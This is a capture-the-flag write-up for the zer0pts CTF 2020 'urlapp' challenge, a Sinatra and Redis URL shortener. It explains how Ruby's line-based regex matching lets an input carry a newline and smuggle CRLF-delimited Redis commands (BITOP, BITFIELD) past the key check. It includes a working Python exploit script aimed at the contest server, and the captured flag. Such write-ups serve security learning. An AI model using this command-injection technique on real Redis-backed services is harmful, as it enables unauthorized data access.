[zer0pts CTF 2020] urlapp

tags: zer0pts CTF

overview

It was a URL shortening service built with sinatra and redis. the flag was in the redis as the flag key, but we can get keys [0-9a-f]{16} formmatted only.

solution

However, ruby's regexp is a bit of weak. As default, it process given string as multiple line string. So strings like a "GET flag\naaaaaaaaaaaaaaaa" pass the check.

And because of handcrafted redis client, we can inject any redis command as we like.

Thouth we can do redis command injection, but simply GET flag won't be worked, just returned empty result. Because WEBrick server's redirect instruction could not handle url like http://3.112.201.75:8004/zer0pts{....

My approach is:

• copy flag to another name (because flag is overwritten every request). to do this, we can use BITOP operation even RENAME is forbidden.
• replace flag's i-th character to _ using BITFIELD. if we succeed to replace { and }, then http response can include the flag like zer0pts_......_

The script is

import requests
import os
import re
from binascii import hexlify

SERVER = 'http://3.112.201.75:8004'

r = requests.post(SERVER, data={
    "url": "http://example.com/"
    })
short = r.text.split("=")[1]

index = 8
while True:
    key = hexlify(os.urandom(8)).decode()
    requests.get(SERVER, params={
        "q": "{short}\n\r\nBITOP AND {key} flag flag\r\nBITFIELD {key} SET u8 #7 95 SET u8 #{index} 95\r\n".format(short=short, key=key, index=index)
    })
    try:
        r = requests.get(SERVER, params={
            "q": key
        })
        if len(r.text) > 0:
            print(re.findall("zer0pts[a-zA-Z0-9_\+\!\?]+", r.text))
            break
    except:
        pass
    index += 1
    print(index, key)

then we got the flag zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}